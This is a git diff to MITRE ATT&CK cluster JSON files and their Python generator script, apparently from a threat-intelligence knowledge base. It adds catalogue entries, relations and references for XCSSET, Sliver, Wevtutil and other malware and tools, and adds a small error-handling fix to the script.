+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "10ffac09-e42d-4f56-ab20-db94c67d76ff",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ec8fc7e2-b356-455c-8db5-2e37be158e7d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "573ad264-1371-4ae0-8482-d2673b719dba",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c1b68a96-3c48-49ea-a6c0-9b27359f9c19",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "633a100c-b2c9-41bf-9be5-905c1b16c825",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3b6daca-e963-4a69-aee6-ed4fd653ad58",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "72b74d71-8169-42aa-92e0-e7b04b9f5a08",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "810aa4ad-61c9-49cb-993f-daa06199421d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4bed873f-0b7d-41d4-b93a-b6905d1f90b0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "960c3c86-1480-4d72-b4e0-8c242e84a5c5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "e14085cb-0e8d-4be6-92ba-e3b93ee5978f",
+ "value": "XCSSET - S0658"
+ },
{
"description": "[EVILNUM](https://attack.mitre.org/software/S0568) is fully capable backdoor that was first identified in 2018. [EVILNUM](https://attack.mitre.org/software/S0568) is used by the APT group [Evilnum](https://attack.mitre.org/groups/G0120) which has the same name.(Citation: ESET EvilNum July 2020)(Citation: Prevailion EvilNum May 2020)",
"meta": {
@@ -55248,7 +62840,7 @@
"value": "Sibot - S0589"
},
{
- "description": "[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)",
+ "description": "[Kinsing](https://attack.mitre.org/software/S0599) is Golang-based malware that runs a cryptocurrency miner and attempts to spread itself to other hosts in the victim environment. (Citation: Aqua Kinsing April 2020)(Citation: Sysdig Kinsing November 2020)(Citation: Aqua Security Cloud Native Threat Report June 2021)",
"meta": {
"external_id": "S0599",
"mitre_platforms": [
@@ -55258,7 +62850,8 @@
"refs": [
"https://attack.mitre.org/software/S0599",
"https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability",
- "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/"
+ "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/",
+ "https://info.aquasec.com/hubfs/Threat%20reports/AquaSecurity_Cloud_Native_Threat_Report_2021.pdf?utm_campaign=WP%20-%20Jun2021%20Nautilus%202021%20Threat%20Research%20Report&utm_medium=email&_hsmi=132931006&_hsenc=p2ANqtz-_8oopT5Uhqab8B7kE0l3iFo1koirxtyfTehxF7N-EdGYrwk30gfiwp5SiNlW3G0TNKZxUcDkYOtwQ9S6nNVNyEO-Dgrw&utm_content=132931006&utm_source=hs_automation"
],
"synonyms": [
"Kinsing"
@@ -55389,5 +62982,5 @@
"value": "Kinsing - S0599"
}
],
- "version": 21
+ "version": 22
}
diff --git a/clusters/mitre-tool.json b/clusters/mitre-tool.json
index e38666c..3b6475d 100644
--- a/clusters/mitre-tool.json
+++ b/clusters/mitre-tool.json
@@ -1337,6 +1337,20 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7610cada-1499-41a4-b3dd-46467b68d177",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
@@ -1513,6 +1527,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "c256da91-6dd5-40b2-beeb-ee3b22ab3d27",
@@ -1676,7 +1697,7 @@
"refs": [
"https://attack.mitre.org/software/S0075",
"https://technet.microsoft.com/en-us/library/cc732643.aspx",
- "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+ "https://blogs.jpcert.or.jp/en/2016/01/windows-commands-abused-by-attackers.html"
],
"synonyms": [
"Reg",
@@ -2207,6 +2228,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "066b057c-944e-4cfc-b654-e3dfba04b926",
@@ -2799,7 +2827,7 @@
"type": "uses"
},
{
- "dest-uuid": "806a49c4-970d-43f9-9acc-ac0ee11e6662",
+ "dest-uuid": "4933e63b-9b77-476e-ab29-761bc5b7d15a",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
@@ -3275,7 +3303,8 @@
"https://attack.mitre.org/software/S0262",
"https://github.com/quasar/QuasarRAT",
"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/",
- "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf"
+ "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf",
+ "https://securelist.com/apt10-sophisticated-multi-layered-loader-ecipekac-discovered-in-a41apt-campaign/101519/"
],
"synonyms": [
"QuasarRAT",
@@ -4463,11 +4492,145 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "1b20efbf-8063-4fc3-a07d-b575318a301b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3",
"value": "Empire - S0363"
},
+ {
+ "description": "[Sliver](https://attack.mitre.org/software/S0633) is an open source, cross-platform, red team command and control framework written in Golang.(Citation: Bishop Fox Sliver Framework August 2019)",
+ "meta": {
+ "external_id": "S0633",
+ "mitre_platforms": [
+ "Windows",
+ "Linux",
+ "macOS"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0633",
+ "https://labs.bishopfox.com/tech-blog/sliver"
+ ],
+ "synonyms": [
+ "Sliver"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dcaa092b-7de9-4a21-977f-7fcb77e89c48",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "11f8d7eb-1927-4806-9267-3a11d4d4d6be",
+ "value": "Sliver - S0633"
+ },
{
"description": "[RawDisk](https://attack.mitre.org/software/S0364) is a legitimate commercial driver from the EldoS Corporation that is used for interacting with files, disks, and partitions. The driver allows for direct modification of data on a local computer's hard drive. In some cases, the tool can enact these raw disk modifications from user-mode processes, circumventing Windows operating system security features.(Citation: EldoS RawDisk ITpro)(Citation: Novetta Blockbuster Destructive Malware)",
"meta": {
@@ -4958,6 +5121,47 @@
"uuid": "5fc81b43-62b5-41b1-9113-c79ae5f030c4",
"value": "CARROTBALL - S0465"
},
+ {
+ "description": "[Wevtutil](https://attack.mitre.org/software/S0645) is a Windows command-line utility that enables administrators to retrieve information about event logs and publishers.(Citation: Wevtutil Microsoft Documentation)",
+ "meta": {
+ "external_id": "S0645",
+ "mitre_platforms": [
+ "Windows"
+ ],
+ "refs": [
+ "https://attack.mitre.org/software/S0645",
+ "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil"
+ ],
+ "synonyms": [
+ "Wevtutil"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "f91162cc-1686-4ff8-8115-bf3f61a4cc7a",
+ "value": "Wevtutil - S0645"
+ },
{
"description": "[CrackMapExec](https://attack.mitre.org/software/S0488), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://attack.mitre.org/software/S0488) collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)",
"meta": {
@@ -5119,5 +5323,5 @@
"value": "CrackMapExec - S0488"
}
],
- "version": 20
+ "version": 21
}
diff --git a/tools/mitre-cti/v2.0/create_mitre-galaxy.py b/tools/mitre-cti/v2.0/create_mitre-galaxy.py
index e96f796..404f9ed 100755
--- a/tools/mitre-cti/v2.0/create_mitre-galaxy.py
+++ b/tools/mitre-cti/v2.0/create_mitre-galaxy.py
@@ -149,10 +149,13 @@ for domain in domains:
rel_source['tags'] = [
"estimative-language:likelihood-probability=\"almost-certain\""
]
- if 'related' not in all_data_uuid[source_uuid]:
- all_data_uuid[source_uuid]['related'] = []
- if rel_source not in all_data_uuid[source_uuid]['related']:
- all_data_uuid[source_uuid]['related'].append(rel_source)
+ try:
+ if 'related' not in all_data_uuid[source_uuid]:
+ all_data_uuid[source_uuid]['related'] = []
+ if rel_source not in all_data_uuid[source_uuid]['related']:
+ all_data_uuid[source_uuid]['related'].append(rel_source)
+ except KeyError:
+ pass # ignore relations from which we do not know the source
# LATER find the opposite word of "rel_type" and build the relation in the opposite direction